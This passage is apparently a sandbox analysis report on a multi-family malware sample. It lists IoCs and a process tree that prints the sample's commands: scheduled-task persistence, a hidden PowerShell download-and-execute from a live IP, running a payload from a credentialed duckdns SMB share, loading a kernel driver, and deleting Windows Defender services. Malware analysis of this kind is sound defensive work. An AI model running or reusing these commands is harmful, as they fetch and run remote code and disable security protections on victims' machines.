Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MeshAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000_Classes\Local Settings	rapes.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3192	powershell.exe
3192	powershell.exe
4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
4892	rapes.exe
4892	rapes.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
6128	powershell.exe
6128	powershell.exe
6128	powershell.exe
5476	rapes.exe
5476	rapes.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
6572	bd3bd05008.exe
6572	bd3bd05008.exe
6572	bd3bd05008.exe
6572	bd3bd05008.exe
6572	bd3bd05008.exe
6572	bd3bd05008.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
6744	powershell.exe
6744	powershell.exe
6744	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5388	powershell.exe
5388	powershell.exe
5388	powershell.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5784	powershell.exe
5784	powershell.exe
5784	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe
2136	powershell.exe
2136	powershell.exe
2136	powershell.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
5548	aspnet_compiler.exe
3668	Passwords.com

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
656	Process not Found
656	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2192	UZPt0hR.exe
2192	UZPt0hR.exe
2192	UZPt0hR.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	3192	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	2792	7q8Wm5h.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	5104	7q8Wm5h.exe
Token: SeDebugPrivilege	5548	aspnet_compiler.exe
Token: SeDebugPrivilege	6744	powershell.exe
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeLockMemoryPrivilege	6184	AddInProcess.exe
Token: SeLockMemoryPrivilege	6184	AddInProcess.exe
Token: SeDebugPrivilege	5388	powershell.exe
Token: SeDebugPrivilege	5784	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	7068	tasklist.exe
Token: SeDebugPrivilege	4732	tasklist.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	6580	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	5836	powershell.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
6184	AddInProcess.exe
3668	Passwords.com
3668	Passwords.com
3668	Passwords.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3668	Passwords.com
3668	Passwords.com
3668	Passwords.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 3476	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 1740 wrote to memory of 3476	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 1740 wrote to memory of 3476	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 1740 wrote to memory of 3792	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	90
PID 1740 wrote to memory of 3792	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	90
PID 1740 wrote to memory of 3792	1740	2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	90
PID 3476 wrote to memory of 4020	3476	cmd.exe	92
PID 3476 wrote to memory of 4020	3476	cmd.exe	92
PID 3476 wrote to memory of 4020	3476	cmd.exe	92
PID 3792 wrote to memory of 3192	3792	mshta.exe	93
PID 3792 wrote to memory of 3192	3792	mshta.exe	93
PID 3792 wrote to memory of 3192	3792	mshta.exe	93
PID 3192 wrote to memory of 4732	3192	powershell.exe	112
PID 3192 wrote to memory of 4732	3192	powershell.exe	112
PID 3192 wrote to memory of 4732	3192	powershell.exe	112
PID 4732 wrote to memory of 4892	4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE	113
PID 4732 wrote to memory of 4892	4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE	113
PID 4732 wrote to memory of 4892	4732	TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE	113
PID 4892 wrote to memory of 2792	4892	rapes.exe	120
PID 4892 wrote to memory of 2792	4892	rapes.exe	120
PID 4892 wrote to memory of 1108	4892	rapes.exe	121
PID 4892 wrote to memory of 1108	4892	rapes.exe	121
PID 4892 wrote to memory of 1108	4892	rapes.exe	121
PID 1108 wrote to memory of 1116	1108	cmd.exe	123
PID 1108 wrote to memory of 1116	1108	cmd.exe	123
PID 1108 wrote to memory of 1116	1108	cmd.exe	123
PID 1116 wrote to memory of 5736	1116	powershell.exe	124
PID 1116 wrote to memory of 5736	1116	powershell.exe	124
PID 1116 wrote to memory of 5736	1116	powershell.exe	124
PID 5736 wrote to memory of 400	5736	cmd.exe	126
PID 5736 wrote to memory of 400	5736	cmd.exe	126
PID 5736 wrote to memory of 400	5736	cmd.exe	126
PID 4892 wrote to memory of 5912	4892	rapes.exe	130
PID 4892 wrote to memory of 5912	4892	rapes.exe	130
PID 4892 wrote to memory of 5912	4892	rapes.exe	130
PID 5912 wrote to memory of 4824	5912	apple.exe	131
PID 5912 wrote to memory of 4824	5912	apple.exe	131
PID 5912 wrote to memory of 4824	5912	apple.exe	131
PID 4824 wrote to memory of 5900	4824	262.exe	133
PID 4824 wrote to memory of 5900	4824	262.exe	133
PID 5900 wrote to memory of 3288	5900	cmd.exe	135
PID 5900 wrote to memory of 3288	5900	cmd.exe	135
PID 5900 wrote to memory of 3288	5900	cmd.exe	135
PID 3288 wrote to memory of 5720	3288	262.exe	136
PID 3288 wrote to memory of 5720	3288	262.exe	136
PID 5720 wrote to memory of 5064	5720	cmd.exe	138
PID 5720 wrote to memory of 5064	5720	cmd.exe	138
PID 5720 wrote to memory of 5528	5720	cmd.exe	139
PID 5720 wrote to memory of 5528	5720	cmd.exe	139
PID 5720 wrote to memory of 6108	5720	cmd.exe	140
PID 5720 wrote to memory of 6108	5720	cmd.exe	140
PID 5720 wrote to memory of 5696	5720	cmd.exe	141
PID 5720 wrote to memory of 5696	5720	cmd.exe	141
PID 5720 wrote to memory of 5152	5720	cmd.exe	142
PID 5720 wrote to memory of 5152	5720	cmd.exe	142
PID 5720 wrote to memory of 5344	5720	cmd.exe	143
PID 5720 wrote to memory of 5344	5720	cmd.exe	143
PID 5720 wrote to memory of 4592	5720	cmd.exe	144
PID 5720 wrote to memory of 4592	5720	cmd.exe	144
PID 5720 wrote to memory of 5828	5720	cmd.exe	145
PID 5720 wrote to memory of 5828	5720	cmd.exe	145
PID 5720 wrote to memory of 6080	5720	cmd.exe	146
PID 5720 wrote to memory of 6080	5720	cmd.exe	146
PID 5720 wrote to memory of 6012	5720	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3464
- C:\Users\Admin\AppData\Local\Temp\2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
  "C:\Users\Admin\AppData\Local\Temp\2025-04-04_e6622b997703fc5a207a053a7f3b4c3b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn pHG0AmaWNQw /tr "mshta C:\Users\Admin\AppData\Local\Temp\3iatvbzqG.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3476
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn pHG0AmaWNQw /tr "mshta C:\Users\Admin\AppData\Local\Temp\3iatvbzqG.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4020
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\3iatvbzqG.hta
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3192
    - - C:\Users\Admin\AppData\Local\TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE
        
        "C:\Users\Admin\AppData\Local\TempKIIIVV1ONF7JGXLM78PYUJGJRPZLC9YT.EXE"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4732
      - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\10447710101\7q8Wm5h.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10447710101\7q8Wm5h.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2792
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10449261121\pfJNmVW.cmd"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1116
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5736
        
        C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:400
        
        \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        10⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\10449770101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10449770101\apple.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5912
        
        C:\Users\Admin\AppData\Local\Temp\262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\262.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4824
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4E98.tmp\4E99.tmp\4E9A.bat C:\Users\Admin\AppData\Local\Temp\262.exe"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\262.exe" go
        10⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3288
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\500F.tmp\5010.tmp\5011.bat C:\Users\Admin\AppData\Local\Temp\262.exe go"
        11⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:5720
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        12⤵
        Launches sc.exe
        
        PID:5064
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        12⤵
        Launches sc.exe
        
        PID:5528
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        12⤵
        Delays execution with timeout.exe
        
        PID:6108
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        12⤵
        Launches sc.exe
        
        PID:5696
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        12⤵
        Launches sc.exe
        
        PID:5152
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        12⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5344
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        12⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4592
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        12⤵
        Launches sc.exe
        
        PID:5828
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        12⤵
        Launches sc.exe
        
        PID:6080
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        12⤵
        
        PID:6012
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        12⤵
        Launches sc.exe
        
        PID:1032
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        12⤵
        Launches sc.exe
        
        PID:5908
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        12⤵
        
        PID:2132
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        12⤵
        Launches sc.exe
        
        PID:5220
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        12⤵
        Launches sc.exe
        
        PID:4108
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        12⤵
        
        PID:2288
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        12⤵
        Launches sc.exe
        
        PID:4664
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        12⤵
        Launches sc.exe
        
        PID:5424
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        12⤵
        
        PID:5488
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        12⤵
        Launches sc.exe
        
        PID:5756
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        12⤵
        Launches sc.exe
        
        PID:3164
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        12⤵
        Modifies security service
        
        PID:5872
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        12⤵
        Launches sc.exe
        
        PID:3056
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        12⤵
        Launches sc.exe
        
        PID:3300
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        12⤵
        
        PID:2716
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        12⤵
        Launches sc.exe
        
        PID:3428
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        12⤵
        Launches sc.exe
        
        PID:5316
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        12⤵
        
        PID:4164
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        12⤵
        Launches sc.exe
        
        PID:5508
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        12⤵
        Launches sc.exe
        
        PID:5708
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        12⤵
        
        PID:5612
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        12⤵
        Launches sc.exe
        
        PID:5728
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        12⤵
        Launches sc.exe
        
        PID:5440
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        12⤵
        
        PID:5904
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        12⤵
        Launches sc.exe
        
        PID:5952
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        12⤵
        Launches sc.exe
        
        PID:5968
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        12⤵
        
        PID:4668
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        12⤵
        Launches sc.exe
        
        PID:448
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        12⤵
        Launches sc.exe
        
        PID:5616
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        12⤵
        
        PID:688
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        12⤵
        Launches sc.exe
        
        PID:5280
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        12⤵
        Launches sc.exe
        
        PID:5752
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        12⤵
        
        PID:5816
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        12⤵
        Launches sc.exe
        
        PID:4972
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        12⤵
        Launches sc.exe
        
        PID:2244
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        12⤵
        
        PID:5544
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        12⤵
        Launches sc.exe
        
        PID:1448
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        12⤵
        Launches sc.exe
        
        PID:4120
        
        C:\Windows\system32\reg.exe
        
